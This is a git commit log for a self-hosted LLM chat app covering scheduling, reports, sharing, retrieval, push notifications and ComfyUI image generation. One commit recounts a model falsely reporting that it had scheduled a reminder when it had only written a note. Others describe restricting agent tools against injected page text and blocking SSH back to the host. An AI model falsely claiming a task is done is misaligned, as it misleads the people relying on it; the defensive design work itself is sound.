Commit Graph

60 Commits

Author SHA1 Message Date
Homer c4aff999ba Files that outlived the chats that held them, and a page that led with its footnotes
The second audit pass. Four things, and the first two were reported.

The Prompts page put a screen of variables and a screen of preview above
the editor, so the tabs began two screens down and switching one had to
drag the whole page to be any use -- and on a short tab it could not drag
far enough, leaving the panel stranded above a screenful of nothing.
Editor first, reference after, bar sticky. Custom themes were three fixed
slots: fifty-seven empty colour boxes on a fresh instance and no way to
make a fourth theme. One block per theme plus a blank one, colours behind
a disclosure. Both measured rather than argued about -- rendered through
TestClient and driven under headless Chromium, where the tab bar moved
385->642px before and does not move now, and the themes page went from
5495px to 2820px.

Asking where generated images go found the other two. Deleting a chat
cascades to the attachment rows and leaves every file on disk; the helper
written for exactly that was called from one place, and it was not the
delete button, a schedule's chat, a helper's chat or deleting an account.
Underneath it, `claim` bound message_id and never chat_id, so anything
picked before a chat existed kept an empty chat_id forever -- which six
readers filter on, so those files were also unnamed in the prompt,
unopenable in the canvas, and invisible to the one caller the cleanup had.

And folders nest now. The route has handled parent_id since folders
existed, with a cycle guard and a depth cap the move path never applied;
the sidebar has always drawn a tree. Nothing could ask for one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-07 13:20:59 +02:00
Homer 44920b62be A changelog, kept from now rather than assembled at the end
Every version bump gets an entry in the same commit. Not afterwards: the reason
a change was made is known while it is being made and gone a week later, and a
changelog assembled from commit subjects at release time is a list of things
nobody can act on.

Backfilled 0.8.2 through 0.9.8, because those shipped as a running deployment
rather than as releases and 1.0.0's notes have to be assembled from something.

The rule that earns the file its place is the last one in CLAUDE.md: a fix to
something that *looked* like it worked gets a line, always. Those are the
entries somebody stops working around a bug because of, and they are invisible
from outside -- nobody reports a control that silently does nothing, they just
quietly stop using it. Half of what is in here is that shape: a group delete
that left its grants, a share panel that only saved if you also saved the
resource, an update script that stopped after "== fetching ==".

A release is a signed annotated tag whose message is that version's entry, and
that is not decoration -- /admin/updates reads release notes out of the tag
object, so the tag message is literally what an administrator sees on the update
page.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 21:36:44 +02:00
Jaroslav Beneš 0c438a6333 A version somebody can read, instead of a sha nobody can
Updates follow a channel now. `stable` is the newest vX.Y.Z tag; `edge` is the
branch tip, which is what this did before. Stable is the default, because a
branch tip is not a release -- following one means deploying whatever was pushed
five minutes ago, possibly mid-feature, which is right for whoever builds this
and wrong for whoever runs it. The page can now say "running 1.0.0, 1.1.0
available" rather than showing two shas and leaving somebody to guess.

Read with git plumbing and never a forge API, for three reasons in the order
they bite. It would need a token on the deployment host -- a credential that can
reach the repository, sitting on a box, to answer a read-only question about
version numbers. It would tie this to one forge, so a fork on GitHub gets
nothing. And it breaks: checked against the Gitea this is developed on, `tea
whoami` works and `tea releases list` returns a 500 from a server-side panic
about token scopes, so a page resting on that endpoint would have shipped
already broken.

Release notes still travel, inside the annotated tag object, which
`git for-each-ref` reads with no API anywhere.

Two details that are only obvious after getting them wrong. A tag with a suffix
is not a release: git's version sort puts v1.1.0-rc1 *above* v1.1.0, so
accepting one would step a stable host onto a candidate on the strength of a
hyphen. And `--sort=-v:refname` rather than a lexical sort, which puts v1.9.0
above v1.10.0 and does it silently the first time a project reaches ten of
anything -- there is a test.

What is running is `git describe --tags --always`, so it reads "1.0.0" at a tag,
"1.0.0-7-gd4f56d" seven commits past one, and a bare sha before the first
release ever exists. That last case is what `--always` is for. When it lands
exactly on a tag whose name disagrees with __version__, the page says so: a tag
cut before the version bump names a release nobody can identify afterwards, and
the check costs no subprocess because both facts are already in hand.

update.sh resolves the channel the same way and detaches at the tag rather than
resetting -- a `reset --hard <tag>` while on main would move the local branch to
it, which is a rewrite of a ref nobody asked to rewrite. A host with no tags
falls back to the branch and says so, which is every host until the release.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 20:42:03 +02:00
Jaroslav Beneš c3bb6c9eaf An update you can ask for, and a boundary that stays where it was
The button cannot do the work, and that is the whole design. The service runs as
an unprivileged account, cannot restart itself, and should not be able to: a web
application that can restart its own service is one whose worst day is much
worse. So /admin/updates writes a file, and an opt-in systemd .path unit runs
deploy/update.sh as root.

Three properties hold it up, and each is a thing that could have been got wrong.
The request file carries nothing that reaches a command line -- no branch, no
ref, no arguments -- because the branch is baked into the unit at install time,
so pressing the button is always "deploy the branch this host was configured
with" and can never be "deploy something else". It is off unless somebody passes
INSTALL_UPDATE_HELPER=1, and re-running the installer without it removes both
units and the marker. And without the helper the page says so and prints the
manual command rather than writing a file nothing is watching, which would be a
button that reports success and does nothing.

The card that says all of this is rendered whether or not there is anything to
apply. It was inside the "there is an update" branch first, so an administrator
could not discover the helper was missing until the day they needed it, which is
the worst possible moment.

Opening the page makes no network request; Check is the one thing that fetches.
And it shows the log between, not a count: "3 behind" is a number somebody has to
go and look up, while the subjects are what decides whether this is worth
restarting for right now.

Docker is one stage, because there is nothing to build -- no Node, no compiled
assets. It bakes no secret key (one in an image is one every copy shares, and
rotating it makes stored API keys unreadable), no data, and no .git, so
/admin/updates inside a container correctly reports that it was not installed
from a checkout. Compose publishes on loopback and refuses to start without a
key. TLS in front is a constraint rather than a recommendation: the service
worker and the microphone both require HTTPS or localhost.

The image was built and run before this was committed, which is how the missing
COPY of LICENSE was found -- pyproject declares it and the build backend reads
it, so the failure reads like a packaging problem and is one line.

deploy/lxc-install.sh creates an unprivileged Debian container and runs the
existing installer inside it. A wrapper, not a second install path: a parallel
installer is two things to keep correct and one of them rots.

/healthz opens the database rather than only proving the socket is listening -- a
process that is up with a database it cannot open answers every page with a 500
-- and says nothing about what is here, being reachable without signing in.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 17:56:18 +02:00
Jaroslav Beneš 9d7fb72bdb Grants that outlive what they name, and a rule you can read
sharing.forget_principal has existed since shares did, documented as the thing
that stops a recycled id inheriting somebody's grant, and was called by nobody.
Deleting a group left every grant naming it; deleting an account left both the
grants to it and the grants of its own work -- that second half is the one
nothing else could catch, since their rows cascade and the shares of those rows
have nothing to cascade from. Both now run before the delete, while the rows are
still findable, and a deleted resource forgets its own.

library.share defaulted to False, which meant sharing shipped documented as done
and unreachable: the panel only renders for somebody holding it, so out of the
box nobody could share anything and nothing said why. It is on.

The panel itself was checkboxes inside the resource's *save form*, listing every
group and every account on the instance, unpaginated, on every detail page -- and
a tick only took effect if you also saved the resource. It is its own routes now:
search, one grant per POST, the panel re-rendered from what is stored. Anything
already shared stays listed whatever the search says, or removing a grant would
mean searching for the name it was given to.

Reports join the shareable set and memories still do not: a finished piece of
work is the thing somebody most wants to hand over, and a record about a person
is not content to pass round. reports.visible became sharing.visible_to, which is
the one line its own docstring predicted. Two things fell out: `owned` beside
`get`, because sharing grants reading and deleting is the owner's alone; and
reading somebody else's report no longer clears their unread dot.

Permissions gained the answer to "what can this person actually do?" --
explain() is resolve()'s working shown rather than thrown away, naming admin, the
baseline, or the groups that granted each one. That is the simulation the union
rule exists to make unnecessary, and until now the only way to get it was to open
every group and read the grids by eye. Users and groups are list-plus-detail, and
membership is edited from one side: it was on both, and a full-form POST from
either overwrote what the other had shown.

Read and write are split for notes, memory and skills -- checked on the tool's
declared risk, after the gate so it can only narrow, and defaulting on.

Quotas are the union rule applied to numbers, with the corner that makes it
interesting: zero means "no limit" and wins outright, or a group saying unlimited
would count for less than one saying a million. Absent means "no opinion".
_narrower folds a group's ceiling with the instance's and is deliberately not
min, for the same reason. Five axes, enforced where each is knowable -- before a
reply is built, before a second one starts, on an agent reply's clock, before a
minute of GPU, and beside the helper cap -- and usage is recorded even for a
reply that was stopped or errored, because an endpoint charges either way.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 16:48:14 +02:00
Jaroslav Beneš 757ab305ee Finding a thing that does not use your words
Three pieces, and the first one is that they are all optional.

Extraction stops being constants. Upload size, image edge, JPEG quality, PDF
pages, extracted characters, orphan age and the text-extension list are settings
now, read through a process-level snapshot rather than a session -- `prepare` and
everything under it are called from routes, tool runners and the startup sweep,
and several of those have no session in hand. Two things deliberately stayed
constants: the decompression-bomb guard, which is a guard and not a preference,
and ORPHAN_AGE, which would have been evaluated at import if it stayed in the
signature and pinned the shipped 24 hours whatever anybody set.

An embedding model is picked from the models an administrator flagged for it, and
one that has since lost its flag is *named* rather than dropped from the picker:
a setting that vanishes is one nobody can tell from a setting never made. Nothing
here is required. Choosing none means no chunk rows, no requests, and
retrieval.search returning exactly what fts.search_ids returns in exactly that
order -- asserted, because it is what makes this safe to land on an instance that
never asked for it.

The two rankings are fused by reciprocal rank fusion: ranks and not scores,
because bm25 is a corpus-dependent negative and cosine is 0..1, and normalising
them onto one scale means picking a constant nobody can tune without a labelled
set they do not have. RRF's one constant is famously insensitive and degrades to
whichever list is non-empty -- which is what turns "no embedding model" into a
branch that does not exist.

A record scores as its best chunk rather than its average, or a long document
about something else outranks a short one that says the thing. Width and model
are stored beside every vector and a mismatch is skipped, because vectors from
two spaces score against each other perfectly happily and mean nothing -- a
search that works and is wrong is the worst failure this can have, and a model
change now leaves stale rows ignored rather than trusted.

Indexing is fired and forgotten, and how a change is noticed is a session event
rather than a call in each of the ten library writers. That is a departure from
this codebase's taste for explicit seams, for the reason tool_label is a Jinja
global: a step every writer has to remember is one that gets forgotten, and here
forgetting is silent -- the record saves, keyword search still finds it, and only
its recall goes stale. Chunks are embedded before anything is deleted, so a
failure leaves the old index rather than half a new one.

Also: `embeddings` joins the model capabilities, and the three tool flags that
had shipped with no checkbox -- canvas, scheduling and helpers -- have one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 16:15:21 +02:00
Jaroslav Beneš b8e7745311 An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the
Middle-earth strings as data; themes as token sets; and a stylesheet for what
none of that reaches. All four are on one page, in one settings group.

The snapshot is a Jinja global over a process-level cache, because render() has
no session and four render paths never reach it at all -- the sign-in page, the
error pages, the offline page and the SSE fragments. A context value would have
had to be threaded through every one and would still have missed those. It being
a global is also what lets mark() branch on an uploaded logo without any of its
six call sites learning about branding; the macro that renders the sidebar link
is called brandlink now, because a macro imported as `brand` shadows the global
for the whole template and took out every page at once.

Defaults in code and overrides in the database, as the prompt fragments do, with
one difference stated in the module: an empty fragment means off, an empty
flavour string means the shipped wording. And blanked rather than dropped --
settings_store.update merges, so an omitted key leaves what was stored last time
and "I typed the default back in" would store something different from "I changed
nothing".

A custom theme sets a handful of tokens and inherits the rest, and the
inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as
[data-theme="shire"], so a custom light theme lands on parchment rather than four
light colours on near-black. Values are validated on read rather than on save,
because a theme written straight into the settings table still has to produce a
stylesheet that parses -- a `}` in a value ends the rule and silently breaks
every rule after it. The soft variants are derived from the accent, or a changed
accent leaves focus rings in the old hue and reads as half-working.

/branding.css is a route, not an inline block: an external stylesheet has no HTML
context to escape from. The link carries a content hash, so a save is not left to
the browser's cache, and it is deliberately outside the service worker's precache
list, which is versioned by the release.

The instance name moved off /admin/general rather than being duplicated there.
An upgrade keeps it: the general row is read as a seed exactly while the branding
row has never mentioned the name, which is `key in row` and not `row[key] is
truthy` -- the two read alike would resurrect the old name underneath a cleared
one.

The theme list stops being a hard-coded pair in five places. Every failure mode
in that area is silent, so it is driven under a DOM stub as well as tested.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 15:42:25 +02:00
Jaroslav Beneš e16bede85b Work handed to a second model, which may not ask
subagent_run gives a self-contained piece of work to a helper carrying the
parent's connection, directory, model and effort, and hands its answer back as
the tool result. The mechanism is the one scheduled runs already use -- a hidden
chat, one turn, wake_chat, and a poll -- so tools, rounds, budgets, metrics and
steps all work with no second implementation. The two alternatives were
rejected where they had already been rejected once: a nested Generation is two
replies writing one transcript, and a one-shot complete() has no tools, which
schedule/runner.py records as useless for exactly this case.

Every restriction is a property of the child's row, applied by resolve_tools
after the gates, because a rule that lives in a system message is one a page the
model just read can argue with. No questions, no recursion, nothing that writes
unless the call asked for it and the parent's own mode would not have stopped
first, and commands only from a fixed read-only list -- in every mode including
Auto, because the task text can have come from a page.

Withdrawing ask_user turned out to be half of "nobody is watching". An approval
still built a card nobody could see and parked the reply until approval_timeout,
which from every screen is the feature not working. Chat.unattended is the
question now, and not the kind: _authorise answers with a refusal instead. A
scheduled task's chat had the same hole and is covered by the same flag.

Three bounds, counted where each is knowable: per reply on the parent's
Generation, instance-wide in a set a restart clears, and per helper in settings
of its own so one runs out of room long before the reply that asked. Past the
clock the helper is stopped rather than abandoned, so a partial answer comes
back with a sentence saying so.

Also: four gates had shipped into the scope menu with no name, taking the first
tool's label instead -- the canvas switch read "Canvas written". There is a test
that refuses a family without one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 15:05:30 +02:00
Jaroslav Beneš 6fcb9c9892 Defaults an administrator can actually set
There were none. `workflow.DEFAULTS` was the only source, so 512x512, euler and
twenty steps were what every instance got whatever card it was running on -- and
512 square on an SDXL checkpoint is precisely what the tool's own description
warns produces duplicated limbs. The two ways round it were both bad: bake
literals into a template where the placeholders should be, or write prose in the
instructions box and hope.

Three rungs now, most specific winning, with DEFAULTS staying underneath as the
floor so an instance that sets nothing behaves exactly as it did and a floor
improved in code still reaches everybody. An empty box is "no opinion" rather
than zero, which matters: read as a number it would set every instance to zero
steps, and ComfyUI refuses that in a way that looks like a broken model.

The right control for each, because a text box is wrong for most of them. The
samplers and schedulers were already being discovered by the Test button, stored,
and read by nothing at all -- they are the pickers now. A stored value missing
from the list is kept as an option anyway, or opening this page and pressing Save
would silently clear a working setting. Checkpoints are chosen rather than typed,
and the instance default is a rung of its own instead of "whatever happens to be
first in a textarea somebody filled in some order".

And batch, at last: `batch_size` was a literal 1 in the base template, so an
administrator whose card can comfortably make four had no way of saying so.
Deliberately not something a model may set -- one asking for six because it is
unsure is the exact cost this must not invite.

The tool's schema restates the defaults it quotes. Every "Default 20." in there
was written when there was one set of defaults in the world; left alone, an
instance drawing at 1024 would go on telling the model 512, and the model reasons
from that sentence rather than ignoring it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 11:50:37 +02:00
Jaroslav Beneš fb54a236ae News that finds you, including when nothing of ours is open
The dots covered Reports and Messages from the day those sections existed. The
announcement did not: only a chat reply produced an HX-Trigger, so a scheduled
run that filed a report or posted into Messages lit a green dot in a corner and
said nothing at all. That is precisely the arrival nobody is watching for -- a
chat reply is one you asked for a moment ago and are probably looking at.

So every kind announces, each with its own once-only flag, and the payload is a
list of items rather than of titles, because a notification is a thing you click
and a title cannot say where.

One arrival, three channels, and they must not all fire. A toast for somebody
looking at the page; a count in the tab title while it is hidden, cleared on
focus; a system notification for somebody elsewhere entirely. The service worker
is the only place that can tell them apart -- the server cannot see whether a
window is focused and the page cannot see a push it did not receive -- so it
stays quiet when one of its own windows has focus.

And web push, hand-rolled against RFC 8291 and RFC 8292 with the cryptography
already here for Fernet. It exists because everything else is polled by an open
page, and the arrival worth interrupting somebody for is a schedule firing at
seven in the morning with the laptop shut.

The trade is real and is written down rather than glossed: the POST goes to
Google's or Mozilla's push service, the payload is sealed end to end so they
cannot read it, and what they do learn is that this server sent something and
when. Opt-in per device, off until asked for, and the rest of the system works
without it. Nothing else in LLeMbas contacts an outside service on its own.

The encryption is tested by decrypting it back with an independent
implementation of the specification's other half. There is no other way to know:
a push service accepts the POST and forwards bytes it cannot read, so a wrong
derivation is a notification that never appears, with a 201 in the log.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 11:11:04 +02:00
Jaroslav Beneš feca8861a1 Something a model could not do, and so wrote a note about instead
Asked to remind somebody every Monday, a model looked down its tool list, found
notes_create described as "something worth having in a later conversation" and
memory_add beginning with the word Remember, wrote a note, and reported that it
had scheduled something. Every screen agreed with it. There was no scheduling
tool at all -- the near-misses were the only thing there was to reach for, and
nothing anywhere said the thing it was being asked for existed.

The seam had been left open on purpose: Schedule.origin has defined
ORIGIN_MODEL, with no writer, since scheduling shipped, and services/schedules.py
says in its first line that it holds what the routes *and the tools* both need.
This is the tool that was meant to go through it.

Four of them, and a thin layer: rule.validate is still the one total normaliser
the form and the compile share, schedules.create still writes the row and the
task chat together, and rule.describe still says what came out. A second dialect
for models would mean two definitions of "every other Tuesday" and one of them
going quietly wrong.

The result is that description, never "done". A schedule is invisible until it
fires, which may be days away, so the sentence in the reply is the only moment
anybody can check that Monday was read as Monday -- and the tool says so, in the
text the model reads back. The list badges the ones nobody typed.

Gated on schedule.use rather than a permission of its own: somebody who may set
one up by hand may say so to a model instead, and a second checkbox beside the
first would only ever be answered "the same as that one".

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 10:28:05 +02:00
Jaroslav Beneš 14b1428f9f A connection that cannot point at the machine it is running on
"Nothing runs on the LLeMbas host" is the sentence the absent sandbox and the
absent local MCP rest on, and an SSH profile aimed at 127.0.0.1 walked straight
past it -- through a real login, with every gate in policy.py still applying,
onto the machine holding the database and the Fernet key. From the SSH layer
down it is indistinguishable from a container on the network, so nothing here
could have noticed.

One switch, three positions: never, one named port, anywhere. The middle one is
the one with a real use -- a container that published its SSH port on the
loopback interface is genuinely somewhere else -- and port 22 is refused even
there, because that one is this host's own sshd.

Enforced in five places, because a row can predate a setting: saving a profile,
`session.resolve` (the control every agent tool, the terminal and the canvas go
through), the composer's picker, browsing, and the draft the panels open against
before a chat exists. Check refuses before it opens its socket rather than after.

And the recognition never resolves a name on the request path. `refusal` runs
several times per page render; the first version of this looked names up inline
and the suite went from two minutes to not finishing. Literal forms are decided
from the string, a name is settled where a network call is already expected, and
the answer lives on the row. The gap that leaves is written down rather than
discovered.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 10:07:36 +02:00
Jaroslav Beneš fa8c8ab5e8 An edge that is not drawn, and a panel that stopped eating the site
`hx-get=""` is not "fetch nothing". htmx looks for the attribute, not for a
value, so the empty one the canvas rendered before a chat existed was a real
request for the empty path -- which the browser resolves against the current
document. Opening the canvas on the new-chat screen fetched the new-chat screen
and swapped the whole site into the panel. The attribute is omitted now, and a
test refuses an empty verb anywhere on the page.

Which panels can exist is the server's answer; which are offered is the
browser's. Both need an agent chat on a chosen connection, and before a chat
exists those are controls in the composer -- so answering with the first profile
offered a terminal on an ordinary chat with nothing selected. They follow
`lembas:agent-target` now, and an open panel whose target goes away is closed
rather than left showing one machine under another's name.

`.tabs__body` is only sometimes the scroller: true where the tabs are a bounded
flex child, false under the admin layout, where the page scrolls instead. So
setting its scrollTop on every tab change had never once run on /admin/prompts,
silently, while the reader was dragged to the bottom of a document that had just
got shorter. The rule names the position now, and the handler finds the
container that actually scrolls.

The two top borders come off. They were what made the misalignment at the bottom
of the shell visible; `--footer-height` stays, because two ends at different
heights are visible without a line to prove it. The top of the shell keeps its
line -- there, everything is `--header-height` and aligns by construction.

And one version. pyproject carried its own copy and had drifted three minors
from the one everything actually reads.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-06 09:42:06 +02:00
Jaroslav Beneš 00ce04addf Narrow a chat before it starts, and find a file rather than spell it
Six things, all found by using the thing rather than by reading it.

The scope menu only appeared once a chat existed, on the reasoning that there was
no row to post to. True, and the wrong conclusion: the harness puts a tool's
guidance in front of the model the moment the tool is offered, so the menu could
not be reached until after the model had been told how to keep notes and handed
the tools to do it -- and switching it off then does not un-send that turn. It is
on the new-chat screen now and writes nothing: `_scope_context` builds a stand-in
Chat, which is `draft.as_chat`'s trick again, and the switches ride along with
the first message. Checked means on and a browser submits only the ticked boxes,
so every gate also renders a hidden input naming it and `start_chat` subtracts one
list from the other; inverting the control would read backwards under a menu that
says everything is on unless you say otherwise. Only the off ones are written,
because absent means on and one representation of it is what keeps "why is this
off?" to a single answer. Nothing is validated against the offered set, since
scope_json narrows after every gate -- naming a gate that was never offered
switches off something that was not on.

Then the scheduling instructions, audited against a 4B model on this machine
rather than against my own reading of them. Ten realistic requests, ten
compiled, twice over -- so the prompt is sound. What was not sound was
`describe`, which built a phrase by joining fragments and read "Every the 1st at
09:00" for the commonest monthly schedule there is, and "Every of January" for a
month with no day. That string is the whole of what somebody sees before
approving a schedule and the whole of what the model is told about its own chat,
so a phrase nobody can parse is a review step nobody performs. It reads as
English now, collapses Monday-to-Friday to "every weekday" and seven days to
"every day", and every case in the test is a rule that model actually produced.

The one mistake it made was naming Wednesday for "every other tuesday", so the
weekday numbering is spelled out rather than left as "0-6, Monday is 0": getting
that wrong is the error here that still looks like a working schedule. Roughly
one call in six also came back empty -- a local runner swapping models under the
request will do that -- so an unusable reply is asked for once more before giving
up. Not on an LLMError: an endpoint that refused will refuse again, and the
reader is better served by the form than by waiting twice for the same answer.

Canvas asked for a typed path, which was the last control in the application
expecting somebody to remember an absolute path on another machine -- the same
complaint the folder page's directory field answered with a picker. /browse takes
pick=file and the same fragment makes files buttons, because a second copy of
that listing is a second place for the path arithmetic to be got subtly
differently. The button carries data-canvas-open rather than an hx-post since the
path is not known until the dialog closes, and ui.js posts it through htmx.ajax
so the response lands in the panel exactly as every other canvas action's does.
The key is `agent:<path>`, so a file opened by hand and one opened by the model
are one tab rather than two spellings of it. The tabs already existed and already
closed; they now square off at the bottom and the active one takes the body's
background, so which is selected is structural rather than a tint nobody can see
in a theme they did not choose. Highlighting was already there for every language
named and is checked for fifteen of them.

Three smaller ones. Tabs kept their scroll position, so switching from a long
panel to a short one left the browser clamping to that panel's bottom: the end of
it above a screen of nothing, which reads as a page that failed to load. Nothing
in CSS can reset a scroll position. The sidebar's footer and the composer sit
either side of one vertical edge and were both content-sized, so their top
borders met it at different heights and read as one line that had been broken --
`--footer-height` is a calc of the pieces the footer is built from, applied as a
min-height to both, which is exactly what `--header-height` already does at the
top of the shell. And "Add a workflow" sat flush against the list it adds to,
stated as an adjacency because `.btn-row` is right to carry no margin everywhere
else it appears.

Both pieces of JavaScript were driven under a DOM stub before committing, which
is how the tab listener's delegation and the canvas button's six behaviours were
checked at all -- `node --check` parses a file that does nothing.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 22:37:47 +02:00
Jaroslav Beneš 2f09d8363d Something can happen because time passed, and land somewhere worth reading
Nothing in LLeMbas ever happened on its own. Every reply was downstream of
somebody pressing Send, and the one exception -- jobs.wake, waking a chat when a
background job finishes -- was downstream of a command they had run. PLAN.md
never listed scheduling as unbuilt because services/chat.py:618 had recorded it
as a decision: "a scheduler is a whole new concern for a single-worker
application". This is that concern, taken on deliberately, plus the two places
its output goes.

Reports first, because it is useful with no scheduling at all. A report is not a
Chat with one Message in it: it has no turns and no reply, it is read top to
bottom, and it must be writable with no chat behind it -- being the fallback for
a run whose own chat has gone. As a Chat it would need a sidebar row per daily
report, a title that regenerates itself, a composer to suppress and a bubble with
a rewind button around something that is not a turn. The section's character is
enforced by absence: nothing under reports/ includes the composer or renders
chat/_message.html, so there is no sse-connect anywhere and nothing on those
pages *can* start a generation. The test reads that off the OpenAPI schema, not
by walking app.routes -- this FastAPI keeps an included router wrapped rather
than flattening it, so the walk finds nothing and the assertion passes for the
wrong reason.

rule.py is pure, total, and was finished before anything called it. No session,
no wall clock, nothing that raises: validate clamps what it recognises, drops
what it does not, and answers {} for prose -- at which point the caller shows the
manual form. It had to be that way because the compile step's output is model
output that becomes a *timer*, which is the sharpest case of hard rule 6 here.
The invariant, pinned: anything validate accepts has a computable next
occurrence. A schedule that can never fire looks exactly like a working one on
every screen it appears on.

Wall-clock and elapsed time are kept apart because they mean different things.
at.times are wall-clock in the owner's zone, so 15:00 stays 15:00 across a
daylight-saving change -- that is what "every Monday at 3PM" means. every is
elapsed real time, so six hours stays six hours across a 23- or 25-hour day --
that is what a timer means. Conflating them gets one of the two wrong twice a
year. A time inside the spring-forward gap fires at the first minute that exists;
left to zoneinfo's own resolution it lands an hour away wearing a wall-clock time
that did not happen, and a daily 02:30 report vanishing once a year on a machine
nobody watches is the failure this file is arranged around.

The ticker claims and commits *before* it fires. The other order is a hot loop: a
firing that raises is retried every tick for ever against whatever it was that
failed, and the only symptom is load. Its blanket except is copied from the
terminal reaper for a sharper reason -- a ticker that dies on one bad row stops
every schedule on the instance and says nothing at all. No request fails, no
reply errors, no dot appears. The reports simply stop.

Three rules that look like bugs from outside: a firing arriving while the chat is
still answering queues rather than starting a second reply, and past max_queued
is skipped with the reason on the row; Run now does not advance next_fire_at, or
testing a schedule silently consumes the run it was testing; resuming recomputes
from now, or a schedule paused for a month fires the instant it comes back, once
per occurrence it missed. Catching up lives in the sweep and not in a startup
hook, because a suspended host and a long stall reproduce "its time passed while
nothing was running" with no restart to hang one on.

services/wake.py is the lock discipline extracted rather than copied. A finished
job and a due schedule are the same problem, and both depend on there being no
await between the running_for check and the writes; two lock dictionaries for one
invariant is how one of them drifts. jobs.wake is now a caller that supplies
wording, and _completion_text stayed exactly where it was because tool.background
quotes its opening sentence.

A scheduled run has no reader, so ask_user is withdrawn from resolve_tools rather
than merely discouraged in core.unattended -- a rule living only in a system
message is one a page the model just read can argue with, and a parked question
holds the reply for the whole approval_timeout with nobody to answer it. For the
same reason a task chat may not be an agent chat in v1: Manual, Edit and Plan all
stop to ask on RISK_EXECUTE, so the only two outcomes would be unattended
execution and a reply that stalls. That deserves its own pass.

Messages is bounded in the request and unbounded on disk. Only the latest chunk
is sent; everything else stays exactly where it was written. Nothing is folded
into text and nothing is deleted -- the visible conversation is identical either
way, so destroying the older rows would buy only disk, against being irreversible
and losing every attachment and tool call in the range, and it would contradict
the rule compaction already holds. should_compact refuses this kind for the
matching reason: two mechanisms narrowing one transcript is how a summary ends up
summarising a summary. The history route is the mirror of thread_tail and keeps
its four properties; the fifth is its own, that prepending moves the scroll
position, so app.js records scrollHeight before the swap and adds the difference
back after.

An empty Chat.kind meant "both sides of the switch" and had been read as "no
filter" since there were only two of them. The sidebar passes "" precisely when
agent chats are switched off -- so the moment a third kind existed, every task
chat and every Messages conversation appeared in somebody's ordinary chat list,
on exactly the instances whose owners would never think to look. KINDS stays the
two-sided fork, because set_sidebar_kind validates against it and a third entry
there makes the tree filterable to a side with no button to leave it; ALL_KINDS
is what a row may be. Both narrowings are pinned, because they are two
implementations of one rule and only one of them is SQL.

Per-user timezone had to exist for any of this: harness.py:179 was telling every
reader the *server's* idea of the date, which is survivable while the answer is
prose and stops being survivable the moment somebody says "every Monday at 3" and
something has to work out when that is.

Three things were caught by a test being wrong rather than by the code being
wrong. The task-chat "no composer" assertions were passing against a page
rendering its no-models-configured branch. A permission test asserted the same
thing twice because the administrator bypasses every permission. And every
Messages test passed with default_model never called, because none of them
configured a model -- so the pair it returns was being assigned straight to
model_id, and SQLite refuses a tuple in a String column. The fixtures now say why
they exist.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 21:31:36 +02:00
Jaroslav Beneš 60e7d0d599 Say what actually failed, and tell the model how to use the thing
Two problems, both found by looking rather than by guessing.

ComfyUI writes its history entry in task_done and nowhere else, so the entry
appearing IS "finished" -- but it sets completed=e.success, which means an
out-of-memory, a cancelled job and a broken node all stay completed:false for
ever. await_images waited on that flag. So every failure sat for the full 600s
timeout and then reported a timeout, when ComfyUI had known within one second and
written down the node, the exception type and the message. Proved by causing both
against the real instance: an OOM now raises in 1.0s and an interrupt in 4.0s,
each naming the node.

The terminal condition is a record with a status, and status.messages is read for
the last execution_error or execution_interrupted. OutOfMemory and Interrupted
are their own classes because they are the two failures with an obvious next
move: the first tells the model to retry at a named smaller size -- worked out
from what it actually asked for, since "use a lower resolution" against a request
that was already 512x512 is advice nobody can follow -- or with a lighter
checkpoint; the second says somebody pressed stop, so do not simply start again.
Everything else gets the reason and no advice, because a model told to try again
after a broken workflow tries the identical thing.

The OOM message is cut to its first sentence. The rest is allocator advice --
PYTORCH_CUDA_ALLOC_CONF, fragmentation notes -- addressed to whoever runs the box
and meaningless to a model, in a tool result that is already a failure.

Second: the parameters were described in the register of a reference table, and
"cfg: prompt adherence, default 8" tells a model nothing it can act on. Measured
on a 4B model, same request, same everything else: with the old wording it sent
prompt and template and nothing more -- so 512x512 on an SDXL checkpoint, which
is exactly the duplicated-limbs failure the width description now warns about.
With descriptions that say what each value does to the picture and when to move
it, the same model sent a portrait 1024x1536 and a deliberate sampler. ~3KB of
schema per request in a chat that can draw, and the difference between having ten
parameters and having one.

docs/image-generation-instructions.md is the long version for the admin
instructions box, for models that need more than the harness can afford to carry
on every request in every chat.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 14:55:18 +02:00
Jaroslav Beneš ca7eb6cedb A seed of -1 means random, as it does everywhere else
Omitting the seed was already random. Passing -1 was not: it went through the
uint64 wrap and arrived as 18446744073709551615, which is a perfectly valid
*fixed* seed -- so "give me something new" returned the identical picture every
time, silently, and the retry loop would have redrawn the same rejected image
until it ran out of attempts.

-1 is what ComfyUI's own interface uses for random, and A1111, and everything
else that has ever asked somebody for a seed. A model that has read any of them
will write it, so the one reading that had to work was the one that did not.

Any negative value, not only -1, because the sentinel is the *idea* rather than
the number and a model that writes -2 means the same thing. Zero stays a real
seed: it is the boundary this change could easily have swallowed, and it is one
somebody deliberately picks.

Confirmed against the real ComfyUI: -1 now sends a random uint64 that it accepts
and draws from.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 14:23:38 +02:00
Jaroslav Beneš 5e75948069 Draw a picture, on a ComfyUI you are running
